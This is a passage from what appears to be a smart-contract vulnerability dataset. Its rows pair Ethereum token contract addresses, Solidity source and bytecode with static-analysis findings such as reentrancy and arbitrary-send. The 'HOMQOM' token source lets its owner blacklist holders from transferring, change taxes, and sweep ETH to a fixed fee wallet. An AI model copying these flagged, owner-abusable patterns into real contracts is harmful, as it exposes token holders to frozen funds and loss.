78181015183820152602001611608565b505050509050019650505050505050600060405180830381600087803b15801561164957600080fd5b505af115801561165d573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60008261168157506000610547565b8282028284828161168e57fe5b041461149d5760405162461bcd60e51b8152600401808060200182810382526021815260200180611fa86021913960400191505060405180910390fd5b600061149d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061184c565b8061171a5761171a6118b1565b6001600160a01b03841660009081526006602052604090205460ff16801561175b57506001600160a01b03831660009081526006602052604090205460ff16155b156117705761176b8484846118e3565b61181c565b6001600160a01b03841660009081526006602052604090205460ff161580156117b157506001600160a01b03831660009081526006602052604090205460ff165b156117c15761176b848484611a07565b6001600160a01b03841660009081526006602052604090205460ff16801561180157506001600160a01b03831660009081526006602052604090205460ff165b156118115761176b848484611ab0565b61181c848484611b23565b8061132257611322611b67565b6000806000611836611b75565b909250905061184582826116cb565b9250505090565b6000818361189b5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561137c578181015183820152602001611364565b5060008385816118a757fe5b0495945050505050565b600c541580156118c15750600d54155b156118cb576118e1565b600c8054600e55600d8054600f55600091829055555b565b6000806000806000806118f587611cf4565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506119279088611d51565b6001600160a01b038a166000908152600360209081526040808320939093556002905220546119569087611d51565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119859086611d93565b6001600160a01b0389166000908152600260205260409020556119a781611ded565b6119b18483611e75565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611a1987611cf4565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a4b9087611d51565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611a819084611d93565b6001600160a01b0389166000908152600360209081526040808320939093556002905220546119859086611d93565b600080600080600080611ac287611cf4565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611af49088611d51565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611a4b9087611d51565b600080600080600080611b3587611cf4565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119569087611d51565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611cb457826002600060098481548110611ba557fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611c0a5750816003600060098481548110611be357fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611c2857600a54683635c9adc5dea0000094509450505050611cf0565b611c686002600060098481548110611c3c57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611d51565b9250611caa6003600060098481548110611c7e57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611d51565b9150600101611b89565b50600a54611ccb90683635c9adc5dea000006116cb565b821015611cea57600a54683635c9adc5dea00000935093505050611cf0565b90925090505b9091565b6000806000806000806000806000611d118a600c54600d54611e99565b9250925092506000611d21611829565b90506000806000611d348e878787611ee8565b919e509c509a509598509396509194505050505091939550919395565b600061149d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611328565b60008282018381101561149d576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611df7611829565b90506000611e058383611672565b30600090815260026020526040902054909150611e229082611d93565b3060009081526002602090815260408083209390935560069052205460ff1615610d2d5730600090815260036020526040902054611e609084611d93565b30600090815260036020526040902055505050565b600a54611e829083611d51565b600a55600b54611e929082611d93565b600b555050565b6000808080611ead6064610df78989611672565b90506000611ec06064610df78a89611672565b90506000611ed882611ed28b86611d51565b90611d51565b9992985090965090945050505050565b6000808080611ef78886611672565b90506000611f058887611672565b90506000611f138888611672565b90506000611f2582611ed28686611d51565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212207d787774b81075b16c3267fd82e591c387b2619f707651eecfda5cd4d58eb2ea64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,861 |
0x1b470f906c0fe6807f40a5f8303cb98cd4e1bc4c | /**
*Submitted for verification at Etherscan.io on 2022-04-04
*/
// https://t.me/homqom
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract HOMQOM is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Hunter Hunter";
string private constant _symbol = "HOMQOM";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x40459122864482fcD36E552fEa227f0dFF6Cb213);
_buyTax = 7;
_sellTax = 7;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 20_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 20_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 15) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 15) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034b578063c3c8cd801461036b578063c9567bf914610380578063dbe8272c14610395578063dc1052e2146103b5578063dd62ed3e146103d557600080fd5b8063715018a6146102aa5780638da5cb5b146102bf57806395d89b41146102e75780639e78fb4f14610316578063a9059cbb1461032b57600080fd5b8063273123b7116100f2578063273123b714610219578063313ce5671461023957806346df33b7146102555780636fc3eaec1461027557806370a082311461028a57600080fd5b806306fdde031461013a578063095ea7b31461018257806318160ddd146101b25780631bbae6e0146101d757806323b872dd146101f957600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600d81526c243ab73a32b910243ab73a32b960991b60208201525b60405161017991906118f2565b60405180910390f35b34801561018e57600080fd5b506101a261019d366004611779565b61041b565b6040519015158152602001610179565b3480156101be57600080fd5b50670de0b6b3a76400005b604051908152602001610179565b3480156101e357600080fd5b506101f76101f23660046118ab565b610432565b005b34801561020557600080fd5b506101a2610214366004611738565b61047d565b34801561022557600080fd5b506101f76102343660046116c5565b6104e6565b34801561024557600080fd5b5060405160098152602001610179565b34801561026157600080fd5b506101f7610270366004611871565b610531565b34801561028157600080fd5b506101f7610579565b34801561029657600080fd5b506101c96102a53660046116c5565b6105ad565b3480156102b657600080fd5b506101f76105cf565b3480156102cb57600080fd5b506000546040516001600160a01b039091168152602001610179565b3480156102f357600080fd5b50604080518082019091526006815265484f4d514f4d60d01b602082015261016c565b34801561032257600080fd5b506101f7610643565b34801561033757600080fd5b506101a2610346366004611779565b610882565b34801561035757600080fd5b506101f76103663660046117a5565b61088f565b34801561037757600080fd5b506101f7610925565b34801561038c57600080fd5b506101f7610965565b3480156103a157600080fd5b506101f76103b03660046118ab565b610b2b565b3480156103c157600080fd5b506101f76103d03660046118ab565b610b63565b3480156103e157600080fd5b506101c96103f03660046116ff565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610428338484610b9b565b5060015b92915050565b6000546001600160a01b031633146104655760405162461bcd60e51b815260040161045c90611947565b60405180910390fd5b66470de4df82000081111561047a5760108190555b50565b600061048a848484610cbf565b6104dc84336104d785604051806060016040528060288152602001611ade602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fcf565b610b9b565b5060019392505050565b6000546001600160a01b031633146105105760405162461bcd60e51b815260040161045c90611947565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461055b5760405162461bcd60e51b815260040161045c90611947565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105a35760405162461bcd60e51b815260040161045c90611947565b4761047a81611009565b6001600160a01b03811660009081526002602052604081205461042c90611043565b6000546001600160a01b031633146105f95760405162461bcd60e51b815260040161045c90611947565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066d5760405162461bcd60e51b815260040161045c90611947565b600f54600160a01b900460ff16156106c75760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045c565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072757600080fd5b505afa15801561073b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075f91906116e2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a757600080fd5b505afa1580156107bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107df91906116e2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082757600080fd5b505af115801561083b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085f91906116e2565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610428338484610cbf565b6000546001600160a01b031633146108b95760405162461bcd60e51b815260040161045c90611947565b60005b8151811015610921576001600660008484815181106108dd576108dd611a8e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091981611a5d565b9150506108bc565b5050565b6000546001600160a01b0316331461094f5760405162461bcd60e51b815260040161045c90611947565b600061095a306105ad565b905061047a816110c7565b6000546001600160a01b0316331461098f5760405162461bcd60e51b815260040161045c90611947565b600e546109af9030906001600160a01b0316670de0b6b3a7640000610b9b565b600e546001600160a01b031663f305d71947306109cb816105ad565b6000806109e06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4357600080fd5b505af1158015610a57573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a7c91906118c4565b5050600f805466470de4df82000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610af357600080fd5b505af1158015610b07573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047a919061188e565b6000546001600160a01b03163314610b555760405162461bcd60e51b815260040161045c90611947565b600f81101561047a57600b55565b6000546001600160a01b03163314610b8d5760405162461bcd60e51b815260040161045c90611947565b600f81101561047a57600c55565b6001600160a01b038316610bfd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045c565b6001600160a01b038216610c5e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d235760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045c565b6001600160a01b038216610d855760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045c565b60008111610de75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045c565b6001600160a01b03831660009081526006602052604090205460ff1615610e0d57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e4f57506001600160a01b03821660009081526005602052604090205460ff16155b15610fbf576000600955600c54600a55600f546001600160a01b038481169116148015610e8a5750600e546001600160a01b03838116911614155b8015610eaf57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ec45750600f54600160b81b900460ff165b15610ef1576000610ed4836105ad565b601054909150610ee48383611250565b1115610eef57600080fd5b505b600f546001600160a01b038381169116148015610f1c5750600e546001600160a01b03848116911614155b8015610f4157506001600160a01b03831660009081526005602052604090205460ff16155b15610f52576000600955600b54600a555b6000610f5d306105ad565b600f54909150600160a81b900460ff16158015610f885750600f546001600160a01b03858116911614155b8015610f9d5750600f54600160b01b900460ff165b15610fbd57610fab816110c7565b478015610fbb57610fbb47611009565b505b505b610fca8383836112af565b505050565b60008184841115610ff35760405162461bcd60e51b815260040161045c91906118f2565b5060006110008486611a46565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610921573d6000803e3d6000fd5b60006007548211156110aa5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161045c565b60006110b46112ba565b90506110c083826112dd565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061110f5761110f611a8e565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561116357600080fd5b505afa158015611177573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119b91906116e2565b816001815181106111ae576111ae611a8e565b6001600160a01b039283166020918202929092010152600e546111d49130911684610b9b565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061120d90859060009086903090429060040161197c565b600060405180830381600087803b15801561122757600080fd5b505af115801561123b573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061125d83856119ed565b9050838110156110c05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045c565b610fca83838361131f565b60008060006112c7611416565b90925090506112d682826112dd565b9250505090565b60006110c083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611456565b60008060008060008061133187611484565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061136390876114e1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113929086611250565b6001600160a01b0389166000908152600260205260409020556113b481611523565b6113be848361156d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161140391815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a764000061143182826112dd565b82101561144d57505060075492670de0b6b3a764000092509050565b90939092509050565b600081836114775760405162461bcd60e51b815260040161045c91906118f2565b5060006110008486611a05565b60008060008060008060008060006114a18a600954600a54611591565b92509250925060006114b16112ba565b905060008060006114c48e8787876115e6565b919e509c509a509598509396509194505050505091939550919395565b60006110c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fcf565b600061152d6112ba565b9050600061153b8383611636565b306000908152600260205260409020549091506115589082611250565b30600090815260026020526040902055505050565b60075461157a90836114e1565b60075560085461158a9082611250565b6008555050565b60008080806115ab60646115a58989611636565b906112dd565b905060006115be60646115a58a89611636565b905060006115d6826115d08b866114e1565b906114e1565b9992985090965090945050505050565b60008080806115f58886611636565b905060006116038887611636565b905060006116118888611636565b90506000611623826115d086866114e1565b939b939a50919850919650505050505050565b6000826116455750600061042c565b60006116518385611a27565b90508261165e8583611a05565b146110c05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045c565b80356116c081611aba565b919050565b6000602082840312156116d757600080fd5b81356110c081611aba565b6000602082840312156116f457600080fd5b81516110c081611aba565b6000806040838503121561171257600080fd5b823561171d81611aba565b9150602083013561172d81611aba565b809150509250929050565b60008060006060848603121561174d57600080fd5b833561175881611aba565b9250602084013561176881611aba565b929592945050506040919091013590565b6000806040838503121561178c57600080fd5b823561179781611aba565b946020939093013593505050565b600060208083850312156117b857600080fd5b823567ffffffffffffffff808211156117d057600080fd5b818501915085601f8301126117e457600080fd5b8135818111156117f6576117f6611aa4565b8060051b604051601f19603f8301168101818110858211171561181b5761181b611aa4565b604052828152858101935084860182860187018a101561183a57600080fd5b600095505b8386101561186457611850816116b5565b85526001959095019493860193860161183f565b5098975050505050505050565b60006020828403121561188357600080fd5b81356110c081611acf565b6000602082840312156118a057600080fd5b81516110c081611acf565b6000602082840312156118bd57600080fd5b5035919050565b6000806000606084860312156118d957600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561191f57858101830151858201604001528201611903565b81811115611931576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119cc5784516001600160a01b0316835293830193918301916001016119a7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a0057611a00611a78565b500190565b600082611a2257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a4157611a41611a78565b500290565b600082821015611a5857611a58611a78565b500390565b6000600019821415611a7157611a71611a78565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461047a57600080fd5b801515811461047a57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220666047481fc34d5ac419cb49f3dd8526072962123c040356e5500e24bf0742a164736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,862 |
0x6f1203475cBe6AB2F31F53432Fae131D126F82b5 | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.1;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
